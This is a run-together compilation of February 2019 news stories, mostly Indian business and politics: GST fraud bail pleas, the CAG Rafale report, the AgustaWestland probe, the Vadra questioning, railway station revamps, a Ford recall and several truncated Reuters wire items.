"When a case involves serious offences, grant of the relief by itself will cause prejudice to the investigation," he added.

Wherever the department found that certain provisions of the Act were misused by creating fake invoices and input tax credit was being availed without any movement of goods, it had to be curbed and nipped in the bud to ensure that it did not grow into another mega scam, having a direct impact on the economy of the nation, the judge said.

Since the department had collected some prima facie materials, it wanted to act fast before it became a huge racket, failing which the entire economy of the country would weaken and collapse, the judge said and dismissed the advance bail pleas.

Also Read: Defence sales between India-US at all time high: PentagonThe construction and real estate industry should push to bring the entire sector under GST ambit as early as possible to solve major problems of the sector, says Manish Kumar Sinha, Group of Ministers on Real Estate under GST regime, on Wednesday.

Speaking at an interactive session on 'Decoding Union Budget - A Real Estate Perspective' organised by FICCI, Sinha assured the industry full support from the government. "Government is very sensitive to this sector and doing the best it can," he said.

Last week, a group of state finance ministers (GoM) led by Gujarat Deputy Chief Minister Nitinbhai Patel recommended 5 per cent goods and services tax (GST) for under construction properties and 3 per cent GST for affordable housing sector without input tax credit. Currently, there is 33 per cent abatement on the tax (at 12 per cent) levied.

The Minister said that the government is aware that real estate is one of the key sectors, which provides jobs and contributes, directly and indirectly, around 8-10 per cent to the GDP.

While addressing the industry representatives, Sinha highlighted that post-GST, tax rates have come down to 12 per cent which was 20 per cent earlier. To boost the affordable and mid-segment housing, availability of credit is essential for growth, he added.

In the interim Budget 2019, Finance Minister Piyush Goyal announced a slew of measures for real estate sectors. This includes extending the exemption period for levy of tax on notional rent on unsold inventories to two years and also exempt the levy of income tax on notional rent on a second self-occupied house.

Sanjay Dutt, Chairman, FICCI Real Estate Committee and MD and CEO, Tata Housing Development and Tata Realty and Infrastructure, said that the demand in the office sector is growing strongly, but on the other hand, the demand of residential space has not seen that kind of growth and is currently where it was few years back. In order to bring back the demand, he suggested that the developers should construct, design and build houses keeping in mind the end-user.

During the event, the Minister released the FICCI-EY White Paper on 'Indian Real Estate: Demystifying the new tax and regulatory environment' which highlighted the key tax and accounting issues impacting the real estate sector.

Speaking on the occasion, Gaurav Karnik, National Leader, Real Estate, Ernst & Young LLP said that the release of paper seeks to outline some of the income tax issues which need clarity from the government which would go a long way in reducing litigation, result in better compliance and at the same time provide relief to the sector. He also said that the reasonable rates along with seamless utilization of input tax credit coupled with lower stamp duty may be considered by the government so that the real estate sector can continue on its recovery path.

Also Read: Indian Railways to revamp 50 stations for Rs 7,500 crore this year

Edited by Chitranjan KumarAndhra Pradesh has taken the PM-Kisan Samman Nidhi portal a notch above by merging it with its own Annadatha Sukhibhava scheme. The state government now promises Rs 10,000 per annum to all farmers in the state, irrespective of the size of their land holding. The decision was taken by the state Cabinet in its meeting on Wednesday based on the suggestion from state Agriculture Minister Somireddy Chandramohan Reddy.

The Annadatha Sukhibhava, an investment support scheme, promises direct benefit transfer of Rs 10,000 to all farmers in Andhra Pradesh. The benefits will be sent in two tranches of Rs 5,000 before the Kharif and Rabi crop cycle begins. The scheme is expected to benefit around 70 lakh farmers in the state.

Apart from the marginalised farmers covered under the PM-Kisan scheme, the Annadatha Sukhibhava scheme will also cover the tenant farmers. These farmers will be given 'Cultivation Certificates' and 'Loan Eligibility Certificates' which will help them avail the benefits of this scheme.

ALSO READ:Sops to farmers, middle class had already been decided; PM-Kisan an act of gratitude towards farmers: Piyush Goyal

"All those farmers who are eligible for Rs 6,000 per household under the Pradhan Mantri Kisan Samman Nidhi will receive Rs 4,000 from the Andhra Pradesh Government. We are merging both-the Centre will give Rs 6,000 and AP Government will give Rs 4,000 more. About 54 lakh farmers will benefit from this," a report by Indian Express quoted Reddy as saying.

For beneficiaries of the PM-Kisan scheme, the Centre will release the first tranche of Rs 2,000 in February and Andhra Pradesh state government will add Rs 3,000 to it. These funds are supposed to help small and marginalised farmers with the preparations for Kharif crops. Although the Kharif season begins around July in Andhra Pradesh, the state government will disburse benefits under Annadatha Sukhibhava scheme much in advance so that the Rs 2,000 under the PM-Kisan scheme do not go to waste.

ALSO READ:Modi govt keen to hand out up to Rs 4,000 to farmers before polls

"Rs 2,000 is of no use to a farmer. By adding Rs 3,000 from our side we are making a decent sum that the farmer can use to prepare his field. Ahead of the Rabi season we will pay the remaining amount along with the other two instalments under PM Kisan Samman Nidhi,'' Reddy told the daily.

The entire scheme will cost the Andhra Pradesh government Rs 5,000 crore every year, provision for which has been made in the Budget, Reddy added.

ALSO READ: Budget 2019: 5 key takeaways for farmers from Piyush Goyal's speech

ALSO READ:PM-Kisan scheme: Aadhaar not necessary for 1st cash transfer; compulsory from 2nd onwards

ALSO WATCH:

Robert Vadra reached the Enforcement Directorate (ED) office in Jaipur Wednesday for second round of questioning into an alleged land scam case in Rajasthan's Bikaner district. The questioning resumed at 10:30 am today when Vadra entered ED's office amid tight security.

He was questioned for nearly nine hours Tuesday where his mother Maureen was also interrogated for some time. Congress general secretary and his wife Priyanka Gandhi dropped Vadra and his mother to the agency's office in Jaipur.

"The interrogation lasted for nearly nine hours. He has given answers to the questions from the ED officers. He will once again appear before the ED zonal office in Jaipur at 10.30 am," Vadra's lawyer Suman Jyoti Khaitan told reporters. Vadra's lawyers also said that his mother will not be called for further questioning on account of her ill health but she has assured full cooperation with the agency in the proble.

Congress workers shouted slogans supporting Priyanka Gandhi when he arrived for interrogation in the morning on Tuesday. The workers hailed Priyanka Gandhi while calling 'Modi a thief', and shouting 'Chowkidar Chor Hai'. They also held banners which read "Jan Jan ki hai yehi pukar, Rahul ji-Priyanka ji abki baar,".

Pouring his emotions on Facebook, Vadra accused the Modi government of being "Vindictive" and questioned the motive of the dispensation in harassing him and his mother ahead of Lok Sabha elections. He called it a political gimmick.

"So here we are my 75-year-old mother and me in Jaipur to depose in front of the Enforcement Directorate. Not understanding the lows of this vindictive government to be harassing a senior citizen, who the world knows has lost her daughter in a car crash, her ailing son to diabetes, and her husband as well," he posted.

Vadra had failed to appear before ED on three occasions in the Bikaner case. He and his mother were asked by the Rajasthan High Court to cooperate with the probe agency after they approached it seeking directions that no forceful action is taken against them by ED.

Prior to Jaipur, he was questioned by ED for three days in Delhi in different charges related to money laundering and alleged property purchase in London and UAE.

ED in 2015 had registered a money laundering case against Sky Light Hospitality owned by Vadra. The company had bought land in Kolayat, Bikaner at dirt cheap prices and sold it to Allegenery Finlease for Rs 5.15 crore allegedly. The land was meant for rehabilitating poor villagers but was bought by Vadra through illegal transactions. ED also claimed that Allengenery Finlease was a fictitious company and had no real business.The redevelopment project of Piyush Goyal-led Railway Ministry will revamp railway stations across the country in order to improve security as well as passenger flow management.

Around 50 Indian railway stations are going to be revamped this year as the government plans to invest Rs 7,500 crore in their renovation. The Indian Railway Station Development Corporation (IRSDC) is planning to give an airport like facelift to the railway stations across the country.

Read More: Arrive 20 minutes before your trains leaves: Railway stations to start security checks like airports

The Piyush Goyal led Railway Ministry will redevelop the stations with facilities such as separate arrival and departure areas, improved security and passenger flow management, a recent HT report stated. IRSDC is a special purpose vehicle (SPV) floated by the government to design and develop new stations and redevelop existing Indian railway stations across India.

While there will be separate arrival and departure areas, existing systems will continue to function at railway stations that are less crowded, IRSDC Managing Director SK Lohia was quoted as saying in the report. The arrival and departure areas will be segregated depending on the space availability, either by different levels or through partition at the same level, Lohia added.

The passenger waiting area will also be moved to concourses for passengers waiting to board the trains at railway platforms, he said. According to the report, IRSDC under this renovation and redevelopment project will initially focus on overhauling 50 railway stations through public-private partnership (PPP).

The stations identified for the facelift include Anand Vihar, Bijwasan, Chandigarh, Shivaji Nagar, Surat, Baiyyappananhalli, Nagpur, Gwalior, Amritsar, Gandhinagar (Jaipur), Sabarmati, Kanpur, Thakurli.

The redevelopment work is currently going on at Habibganj and Gandhi Nagar (Gujarat) railway stations which will be the first state-of-the-art railway stations of Indian Railways with world class amenities like the ones at the airports.

Also Read: Train 18 fares: Delhi-Varanasi AC chair car ticket to cost Rs 1,850, executive class Rs 3,520

Piyush Goyal shares video of Vande Bharat Express running at 'lightening speed'; gets trolledThe Wadia group-promoted no-frills airline Goair has seen exit of its third chief executive in the past four years with the resignation of Cornelis Vrieswijk Wednesday, within nine months of taking over the job.

The Dutch national Vrieswijk was a former executive of the American low-cost airline Easyjet, and boarded Goair only last June when it was preparing to fly international.

He joined Goair six months after the departure of then chief executive Wolfgang Prock-Schauer on a bitter note, and then checked into the rival IndiGo as its chief operating officer from January 2018.

Read More: GoAir kicks off two-day flight flash sale today; fares start at Rs 1,199

The airline has cited "family matters," as the reason for Vrieswijk's abrupt exit and said managing director Jeh Wadia will be discharging the additional responsibility of the chief executive till a replacement is found.

"It is unfortunate that despite best efforts, my family did not shift to India but rather wants me to be back with them in Amsterdam," Vrieswijk was quoted as saying in a statement issued by the airline.

The latest domestic carrier to fly international, Goair currently operates across 24 domestic and three international destinations. "At the nominations and remunerations committee meeting held by the board on February 8, Vrieswijk expressed his desire to relocate to Amsterdam since his family was not wishing to settle down in Mumbai.

"The board understood his compulsions to move back and accepted his reasoning to move on," the airline said, adding he will stay on to ensure a smooth transition. "We recognise Vrieswijk's contribution to the airline, but at the end-of-the-day, for him it was family calling," Wadia was quoted as saying in a statement.

"Going forward, I will take over the CEO's role until a suitable replacement takes place," he added. While Vrieswijk served the carrier for a little over eight months, his predecessor and former Jet Airways chief executive Prock-Schauer remained at the helm for two-and-a- half years before heading to IndiGo.

However, Prock-Schauer's predecessor Giorgio de Roni was with the airline for four years--the longest in its history having started in November 2005--before quitting on health grounds in April 2015.

Also Read: GoAir flight en route to Delhi returns to Mumbai due to "high engine vibrations"

CAG report on Rafale deal: The difficulty in comparing prices under Modi govt and the UPAThe possible EU sanctions over the Kerch Strait incident are imposed under strong pressure from the United States, Russian Foreign Minister Sergei Lavrov said.

"We know that these sanctions are being taken under the US powerful pressure, which again proves the European Unions dependence. It is sad, but we are open for dialogue," TASS cited the Russian top diplomat as saying.

Lavrov's comments follow the Financial Times' earlier reports that the U.S. and the EU were close to reaching an agreement on imposing new economic anti-Russia sanctions over the Kerch strait incident in late November.CAG report on Rafale: The much-awaited CAG report on the Rafale deal will be presented before the Parliament today, the last day of the Budget session. The report titled 'Capital Acquisition in Indian Air Force' will be presented by Junior Finance Minister P Radhakrishnan. The CAG report will include the performance audit details and a list of acquisitions made by the Air Force. It may also give some clarity on the defense purchase parameters included in the Rafale deal.

However, it is unlikely that the CAG report will reveal the most contentious issue of pricing of the Rafale fight jets. The Congress-led opposition has time and again accused the government of buying the Rafale jets at double the prices negotiated during the previous UPA government, thus causing a loss to the exchequer.

Main contours of the CAG report may also comprise 11 acquisitions made by the IAF, including the purchase of 36 Rafale fighter jets from France, reported India Today TV. The report will likely contain "comparative evaluation" on the bases of availability and market price of the fighter jet components during the deal under the Modi government as well as the UPA government.

Though a clear picture will be out only after the report gets tabled in Parliament, the Congress party has already called it a contentious report, accusing Comptroller and Auditor General Rajiv Mehrishi of being "complicit in the irregularities". Senior Congress leader Kapil Sibal on Tuesday asked Mehrishi to recuse himself from auditing the CAG report as he was the finance secretary at the time the Modi government signed the Rafale agreement.

Also read: Rafale dogfight: Why the French fighter has the right stuff

"CAG is going to completely save the government in its report. The whole deal materialised in the supervision of Rajiv Mehrishi who was the then finance secretary. When the negotiations started, the Ministry of Finance was part of it," said Sibal.

Sibal said since the finance ministry plays a key role in this matter, Mehrishi's role was a clear case of "conflict of interest" as he was the finance secretary from October 24, 2014, to August 30, 2015. In between, Prime Minister Narendra Modi went to Paris on April 10, 2015, and signed the Rafale deal, he said.

Clearing the air around Mehrishi's role, Finance Minister Arun Jaitley said the Congress was casting aspersions on the institution of CAG based on "falsehood". "Another attack on the institution of CAG by the 'Institution wreckers' based on falsehood. After ten years in Government former UPA ministers still don't know that Finance Secretary is only a designation given to the senior-most secretary in the finance ministry," Jaitley said. The finance ministry also clarified that Rajiv Mehrishi, who initially joined the ministry as economic affairs secretary, never dealt with expenditure proposals from the defence ministry.

Edited by Manoj Sharma

Also read: Anil Ambani knew about Rafale deal in advance; PM helped his friend, says Rahul Gandhi

'Rafale' e-mail is an 'Airbus' e-mail: How Rahul Gandhi got it all wrong in this game of obfuscationThe pivotal report by Comptroller and Auditor General of India over the Rafale aircraft deal was finally tabled before the Parliament on Wednesday. As per the audit report, the deal negotiated by the incumbent NDA government to procure 36 Rafale jets was 2.86 per cent cheaper than the agreement for 126 planes made by the preceding UPA government. The bone of contention was higher cost of deal negotiated by the Modi government despite bringing down the number of jets.

Careful observation of the CAG report reveals the differences in ways NDA and UPA regimes reached the prices in their negotiations. Not only did the number of jets were decreased, several aspects of the earlier deal were omitted in the Inter Government Agreement of 2015, which has been put under the lens in the latest CAG report.

Even now, as the government is bashing the Opposition for harbouring reservations over the Rafale deal, here are the aspects of the report that the latter might use to continue its attack against the former:

ALSO READ:CAG report on Rafale deal: Lies of 'Mahajhootbandhan' stand exposed by the report, says Arun Jaitley

The cost of the Inter Government Agreement of 2015 excludes bank guarantees that were accounted for in earlier negotiations. Also, the Opposition could explore the dissent note of three members of the negotiation team raising this issue.

The offer of Dassault Aviaiton in 2007 had included 15 per cent bank guarantee against advance payments. Out of this, aspects of performance, guarantee and warranty were allocated 5 per cent each.

"A Bank Guarantee gets directly and automatically invoked in case of breach of contract by the seller. In the 2015 offer the French vendor did not furnish any Financial and Performance Bank Guarantees," the CAG report stated.

The Ministry of Law had even insisted on government/sovereign guarantee should be requested since around 60 per cent of advance payments were to be made to the French vendors. The Cabinet Committee on Security headed by Prime Minister Narendra Modi decided to override the Ministry of Law on the subject.

ALSO READ:CAG report on Rafale deal: The difficulty in comparing prices under Modi govt and the UPA

"The Government of France and Vendor neither agreed to furnish the bank guarantees nor Government/Sovereign guarantee. Instead it provided a 'Letter of Comfort' signed by the French Prime Minister in lieu of the Bank Guarantee," the CAG report said.

Deal not 9 per cent cheaper, no transfer of technology

During the course of debate, the Modi government had maintained that the price of the deal it has negotiated was 9 per cent cheaper than what the UPA could manage in its time. The CAG report, however, puts the difference at a mere 2.86 per cent, less than one-third of what the NDA government has been quoting so far.

"The price offer of 2007 had two distinct packages - pricing for 18 Flyaway Aircraft Package and pricing for ToT (Transfer of Technology) package of 108 aircraft which were to be license produced in India. The offer of 2015, on the other hand was only for 36 flyaway fighter aircraft," the CAG report said.

The Opposition could still argue that the earlier price included transfer of technology as a distinct package, which is not part of the Inter Government Agreement signed during Modi government.

India specific enhancements

The Modi government had contended that India Specific Enhancements (ISE) made to the 36 Rafale jets had led to the rise in costs, the necessity of which was appraised in the CAG report. In the report, the CAG stated that the 2007 offer included missiles which were excluded by IAF in 2015, citing reasons that they were being indigenously developed by Defence Research and Development Organisation (DRDO).

ALSO READ:Anil Ambani can invest in Rafale but can't clear Rs 550 crore dues: Ericsson to Supreme Court

While negotiating for 36 aircraft in 2015, the Indian Negotiation Team headed by the Deputy Chief of Air Staff (DCAS) proposed to further reduce the number of India specific enhancements to avoid huge costs. But Dassault Aviation stated that since its price was a total package, the matter would have to be taken up with the French government.

"In August 2016 before submission of the note to the approval of the CCS, DCAS intimated Ministry that ISE scope could be reduced by postponing six enhancements, which could be included if more Rafale aircraft were procured in future. However, this proposal was not accepted by Ministry of Defence," CAG stated.

The Ministry in its response to CAG stated that cutting down on India specific enhancements was not considered as it was only a temporary deferment only for cost reduction measure.

"Audit noted that four of these enhancements were stated not to be required in the

technical and staff evaluations. The cost of these four enhancements items was about 14 per cent of the ISE contracted cost," the CAG report said.In a critical turn of events, the Enforcement Directorate is trying to convince key accused Rajeev Saxena to become a witness in the AgustaWestland case. If this comes to fruition, Saxena could reveal some big names who received bribe money in the acquisition of AgustaWestland choppers for VVIPs.

The ED believes that Saxena has the complete knowledge of the money paid as bribe to the Indian counterparts in the AgustaWestland VVIP chopper deal. This list of counterparts could include some Indian politicians, bureaucrats, as well as Air Force and defence officials.

Three companies owned by Rajiv Saxena - Intersellar Technologies (Mauritius), UHY Saxena (Dubai) and Matrix Holding (Dubai) - received kickbacks from Tunisia-based Gordian Services Sarl and IDS Technologies, India Today reported while quoting the agency. These two Tunisian firms were allegedly set up by Gautam Khaitan, another accused in the AgustaWestland scam, and had middlemen Carlo Gerosa and Guido Haschke as directors.

The ED had earlier told the Patiala House Court that Saxena was responsible for establishing a route to deliver the bribe money allegedly paid to defence officials and politicians. The agency has also claimed that Saxena, along with Khaitan and Christian Michel, has the full knowledge of the chain of bribery.

Saxena, a Dubai-based businessman, along with lobbyist Deepak Talwar, was deported from Dubai on January 31 and sent to four-day custody of the ED the same day. This was the second high-profile arrest in the case after Christian Michel, a British arms dealer and middleman in the AgustaWestland chopper deal.

During the UPA regime, the deal was to acquire 12 AW101 choppers from AgustaWestland for Rs 3,600 crore. These helicopters were meant to be used by VVIPs like the Prime Minister and the President. Later, Bruno Spagnolini, then AgustaWestland CEO, and Giuseppe Orsi, the former president of Finmeccanica, were arrested on charges of paying bribes to bag the deal with IAF.

Th UPA regime initially put the deal on hold - keeping the received choppers in mothball status - while ordering a probe into the allegations. Then in January 2014, the deal was cancelled entirely citing breach of contractual obligations. The Central Bureau of Investigation had alleged there was an estimated loss of approximately Rs 2,666 crore to the exchequer due to this scrapped deal.

ALSO READ:PM Modi attacks Congress on Christian Michel's role in stalling Rafale dealCentral government officials availing of the Leave Travel Concession (LTC) benefit to travel to Jammu and Kashmir, the North-East region and the Andaman islands no longer have to limit themselves to the national carrier.

While Air India is typically the only airline that government employees can use to claim LTC, even private airlines can now be considered for travel to the above destinations. However, according to the government, there's no proposal at present to extend the relaxation on a pan-India basis.

Also Read: 7th Pay Commission: Govt makes two big announcements for central govt, railway employees

LTC is granted to central government employees - barring employees with spouses working with Indian Railway - to facilitate home travel as well as travel to different parts of the country. Presently two hometown visits are allowed in a block of four years with one hometown visit substitutable with an all-India visit. However, for the first two 4-year blocks, three hometown visits and one all-India visit are permissible.

"The facility to avail tickets in all airlines including private airlines is admissible at present in case of LTC in lieu of Home Town/All India LTC travel to North East Region (NER), Jammu & Kashmir (J&K) and Andaman & Nicobar (A&N), in relaxation to Central Civil Services (Leave Travel Concession) Rules, 1988 under certain conditions," said Union Minister of State (Independent Charge) Development of North-Eastern Region (DoNER), MoS PMO, Personnel, Public Grievances & Pensions, Atomic Energy and Space, Dr Jitendra Singh in written reply to a question in Rajya Sabha last week.

The good news is that there could be more LTC benefits in the offing. As per the 7th Pay Commission recommendations, all personnel of Central Armed Police Forces (CAPFs) - which includes CRPF and BSF - and the Indian Coast Guard should be granted one additional free railway warrant. At present, this benefit is extended only to armed forces personnel serving in field, high altitude or counter-insurgency operations (CI Ops) areas. Moreover, it suggested that the facility of Additional LTC should be extended to SSB personnel, at par with other CAPFs.

The pay panel added that the "proposal to split hometown LTC has merit and can be considered". Hence, it is recommended that splitting of hometown LTC be allowed in case of employees posted in the North East, Ladakh and the island territories of Andaman, Nicobar and Lakshadweep. The idea is to enable these employees and their families to meet more often.

Unfortunately, demands from central government personnel to increase the frequency of LTC, especially the "all India" visit, and to extend LTC to foreign countries will remain a pipe dream for now. According to the panel, the extension of LTC to foreign countries is not in the ambit of the 7th CPC.

Edited by Sushmita Agarwal

Read More: 7th Pay Commission: Could central govt employees get pay hike before 2019 General Elections?

Disclosure limit for shares, mutual funds investments raised for Central govt employees

7th Pay Commission: Why next cabinet meeting matters greatly for central govt employeesUS-based automaker Ford Motors Company on Wednesday said it has issued two safety recalls and a safety compliance recall in North America.

The company was recalling about 1.48 million F-150 pickup trucks in North America due to a potential transmission downshift into first gear that could increase the risk of a crash.

"Ford is issuing a safety recall on select 2011-13 Ford F-150 vehicles with 6-speed automatic transmission that may experience an intermittent loss of the transmission output speed sensor signal to the powertrain control module, potentially resulting in a temporary, unintended downshift into first gear," the company said in a statement.

The company further said that depending on vehicle speed, a downshift to first gear without warning could result in a loss of vehicle control, increasing the risk of a crash.

This action affected nearly 1.48 million vehicles in North America, including approximately 1.26 million in the United States and federalized territories and approximately 221,000 in Canada, it said.

Dealers will update the powertrain control module software in the affected vehicles, Michigan-based company said.

In a separate development, the company said it was also recalling approximately 27,000 vehicles in the United States and federalized territories and approximately 1,200 in Canada, for door latches that could increase the potential for the door to open while driving, increasing the risk of injury.

"Certain vehicles may have an intermittently functioning door latch motor due to the build-up of silicon contamination; as a result, the door latch may not fully engage."

The company has also issued a safety compliance recall for 4,200 vehicles in the United States for instrument panel cluster assemblies that may be blank upon vehicle startup.

Also Read: DGCA monitoring Jet Airways' flight schedule every 15 days, says official

Edited by Chitranjan KumarBy Nidhi Verma and Promit MukherjeeNEW DELHI (Reuters) - Uganda expects to begin producing oil in 2022, its energy minister Irene Muloni said on Wednesday, indicating a slight delay from the east African country's revised target of 2021.Uganda discovered crude reserves more than 10 years ago but production has been repeatedly delayed by disagreements with field operators over taxes and development strategy.A lack of infrastructure such as a transportation pipeline and a refining facility have also held up output."Production we are now looking at by 2022, our first production, from Kingfisher ...BEIJING (Reuters) - U.S. Treasury Secretary Steven Mnuchin said on Wednesday he hopes for "productive" trade meetings in China this week, as the two countries seek to hammer out an agreement amid a festering dispute that has seen both level tariffs at each other.U.S. tariffs on $200 billion worth of imports from China are scheduled to rise to 25 percent from 10 percent if the two sides cannot reach a deal by a March 1 deadline, increasing pain and costs in sectors from consumer electronics to agriculture.Mnuchin, asked by reporters as he left his Beijing hotel what his hopes were for the ...By Diane Bartz and David ShepardsonWASHINGTON (Reuters) - Executives from T-Mobile US Inc and Sprint Corp faced questions from lawmakers on Wednesday about how the companies' planned merger would affect prices and jobs, especially in rural America.The deal to combine the No. 3 and No. 4 U.S. wireless carriers, struck in April, was approved by both companies' shareholders in October and has received national security clearance, but still needs approval from the Department of Justice and the Federal Communications Commission.Representative Mike Doyle, who chairs the House of Representatives ...By Ben Blanchard and Philip WenBEIJING (Reuters) - U.S. Treasury Secretary Steven Mnuchin said trade talks with China went well on Wednesday, as the world's two largest economies try to iron out an agreement to resolve their dispute."So far, so good," he said when asked by reporters on how the meetings in Beijing went. He did not say who he met. Mnuchin said earlier he hoped for "productive" trade meetings as the two countries seek to end a festering dispute that has seen both sides level tariffs at one other.U.S. tariffs on $200 billion worth of imports from China are scheduled to rise to 25 ...By Ben Blanchard and Philip WenBEIJING (Reuters) - U.S. Treasury Secretary Steven Mnuchin said talks with China went well on Wednesday, as the world's two largest economies try to iron out an agreement to resolve their trade dispute."So far, so good," he said when asked by reporters on how the meetings in Beijing went. He did not say who he met. Mnuchin said earlier he hoped for "productive" trade meetings as the two countries seek to end a festering dispute that has seen both sides level tariffs at one other.U.S. tariffs on $200 billion worth of imports from China are scheduled to rise to 25 ...The hysteria of trying to pin accusations of cybercrime on Russia, which it has nothing to do with, and allegations about Russian hackers meddling in elections throughout the world have morphed into some sort of obsessive phobia, said Russian Presidential Spokesman Dmitry Peskov in response to a recent round of allegations coming from Kiev.

Ukraines Cyber Police Chief Sergei Demidyuk accused Russian hackers of using malicious phishing materials to steal passwords and personal information of election commissions employees in Ukraine.

"No, we know nothing about it," TASS cited Peskov as saying. "Weve been hearing a torrent of parallel statements from various countries throughout the world. Looks like it is morphing into some kind of mania or phobia," the spokesman added.FRANKFURT (Reuters) - The European Central Bank would welcome a common budget for 19 countries sharing the euro, especially if it provided macroeconomic stabilisation functions, ECB President Mario Draghi said in a letter on Wednesday. "A common budgetary instrument could, if appropriately designed, increase the economic resilience of the individual participating Member States and of the euro area as a whole," Draghi wrote in response to a query from a member of the European Parliament. "Rather than creating conflicts of interest between policy areas, in this type of situation a fiscal ...By Jacob Gronholt-PedersenCOPENHAGEN (Reuters) - It is almost a barman's dream - a keg that can monitor beer levels and alert the brewery for more supplies when stocks are running low, cutting the risk of running out of beer.Not only that, the keg can keep beer fresher for longer, banishing the scourge of the flat pint.Pity it just can't change itself yet.Faced with stagnating sales of mainstream beer, and drinkers switching to wines and spirits, brewers have been forced to innovate to keep bar owners happy and sell them a broader range of products, helping them boost their own margins along ...Bombay High Court has set aside an arbitration award of more than Rs 800 crore ($113.19 million) owed to Hindustan Petroleum Corp Ltd by Malaysia's M3nergy, according to a court document reviewed by Reuters. In 2017, HPCL was awarded the amount after an arbitration board found that M3nergy had delayed the finalising of a consortium agreement which led to the termination of an exploration contract with India's Oil and Natural Gas Corp, the Economic Times newspaper reported at the time. However, the Bombay High Court ruled on Jan. 10 to set aside the award saying the ...Raising slogans against the Narendra Modi government, Congress lawmakers protested outside Parliament on Wednesday over the Rafale deal.

Party president Rahul Gandhi led the demonstration in which Congress lawmakers were seen carrying paper planes and posters, alleging scam in the multi-crore fighter jet deal.

UPA chairperson Sonia Gandhi and former Prime Minister Manmohan Singh were also present in the protest near the Gandhi statue in Parliament complex.

Stepping up his attack on Modi over the Rafale issue, the Congress president cited a media report to claim that the prime minister's argument of better pricing and faster delivery of the jets to defend the deal has been "demolished".

His attack came after a report in The Hindu newspaper claimed that the Rafale deal was not on "better terms" than the UPA-era offer.

Trinamool Congress MPs also held a demonstration inside the complex, alleging misuse of the CBI by the Centre.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Top opposition leaders held a meeting Wednesday, during which Congress president Rahul Gandhi and AAP's Arvind Kejriwal were seen together for the first time, and decided to work together with a common minimum programme to fight against the BJP-led NDA in the Lok Sabha polls.

Gandhi told reporters after the meeting, hosted by NCP president Sharad Pawar at his residence, that opposition leaders agreed to have a common minimum programme.

"We will work together to defeat the BJP," he said.

Delhi Chief Minister Kejriwal termed the talks constructive and said the opposition will work together.

The meeting indicates that the Congress and the Aam Aadmi Party, who have been bitter rivals since the regional party came to power in Delhi in 2015, may forge a tie-up.

Trinamool Congress president and West Bengal Chief Minister Mamata Banerjee called the meeting "fruitful" and asserted that "we will do pre-poll alliance".

Telugu Desam Party head and Andhra Pradesh Chief Minister N Chandrababu Naidu said there is a democratic compulsion to save India while Farooq Abdullah of the National Conferences termed the meeting "good".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Moving forward on a united anti-BJP front for the Lok Sabha elections, top opposition leaders Wednesday agreed to work together to prepare a common minimum programme to oust the Modi government and to consider forging a pre-poll alliance.

The meeting hosted by NCP president Sharad Pawar also saw Congress chief Rahul Gandhi and AAP's Arvind Kejriwal coming together for the first time, while West Bengal Chief Minister Mamata Banerjee and her Andhra Pradesh counterpart N Chandrababu Naidu vowed to work together due to "democratic compulsions to save India".

After the meeting, which took place hours after opposition leaders shared a dias at an AAP protest on the day of the last sitting of the present Lok Sabha, Gandhi told reporters that opposition leaders agreed to have a common minimum programme.

"We will work together to defeat the BJP," he said.

Delhi Chief Minister Kejriwal termed the talks constructive and said the opposition will work together.

The meeting indicates that the Congress and the Aam Aadmi Party, who have been bitter rivals since the regional party came to power in Delhi in 2015, may forge a tie-up.

Trinamool Congress president Banerjee called the meeting "fruitful" and asserted that "we will do pre-poll alliance if needed".

Opposition leaders will keep meeting in the coming days for better coordination, she said.

Earlier in the day, she had said, "Any fight with the Congress will remain in the state. At the national level, we will fight together, this I am saying from the heart... For the greater interest of the country, I am ready to sacrifice my life, my party. I am ready to sacrifice everything."



Telugu Desam Party head Naidu said there was a democratic compulsion to save India while Farooq Abdullah of the National Conferences termed the meeting "good".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)Chit fund scams in West Bengal echoed in the Lok Sabha on Wednesday, with Left and Congress members accusing the Trinamool Congress of looting money of investors.

Members from the Trinamool Congress, which is in power in West Bengal, were protesting in the Well when the discussion on 'The Banning of Unregulated Deposit Schemes Bill, 2018' was taken up.

Participating in the discussion, Congress member Adhir Ranjan Chowdhury said the Trinamool Congress, which is in power in West Bengal, looted the people of the state.

He also said that lakhs of people were looted and that their money should be returned.

CPI-M member Mohammed Salim alleged that TMC has come up due to corruption and even remarked that some members of the party in the House should go to jail.

On both occasions, members from the BJP, which is engaged in a political slugfest with the TMC over Saradha scam and other issues, were seen thumping their desks.

Later, TMC members were seen shouting slogans against Salim.

Some members of the TMC are under the lens for their alleged role in chit fund scams.

TMC leader Saugata Roy said chief minister Mamata Banerjee took the trouble of getting arrested the main person in Saradha scam and wanted to know from the central government as what they were doing in the last five years with respect to the scam.

BJD leader B Mahtab said there should be a regulatory mechanism for the state and central governments to work against illegal deposit-taking activities.

While replying to the discussion, Finance Minister Piyush Goyal wondered what message would the school children sitting here take back amid continued slogan shouting by TMC members in the Well.

School children were among those sitting in the visitor's gallery.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)A Delhi court Wednesday said it would pronounce its order on the bail plea of Rajiv Saxena, arrested in the AgustaWestland money-laundering case, on Thursday after perusing his medical report.

Special judge Arvind Kumar directed the All India Institute of Medical Sciences to file a report on Saxena's medical condition.

The court also asked Tihar jail authorities to comply with the court's February 12 order in which it had directed the authorities to allow Saxena his necessary medicines and sleep apnea machine.

"The Director/Medical superintendent, AIIMS, is again directed to file report in respect of medical condition of accused Rajiv Saxena," the court said in its order.

Senior advocate Geeta Luthra, appearing for Saxena, submitted that the Tihar jail authorities did not permit the accused to have sleep apnea machine and medicines, after which the court asked the authorities to strictly comply with the previous order or to face consequences.

"The jail is directed to comply with the direction as contained in order dated February 12. The jail authorities are directed to permit accused Rajiv Saxena to have necessary medicines and sleep apnea machine," the court said in its order.

The court, while posting the matter for Thursday, asked the assistant superintendent or some other official from Tihar jail to appear during the hearing.

It also directed the jail authorities to take "necessary care with regard to hygienic conditions" and to provide "necessary facilities" considering Saxena's medical condition.

During the hearing, advocate D P Singh, appearing for the Enforcement Directorate, said he was not opposing Saxena's bail plea due to his medical condition and the fact that he was cooperating in the probe.

The court then asked the lawyer whether he was not opposing the bail on merits. The lawyer replied that he was only relying on Saxena's medical condition as he was suffering from leukamia.

To this, the court said, "remember it will apply in other cases then. We are recording everything, whatever you are saying".

Singh said, "Please record me. I can give it in writing".

The court also questioned the lawyer on ED's move to arrest Saxena and on not opposing his bail.

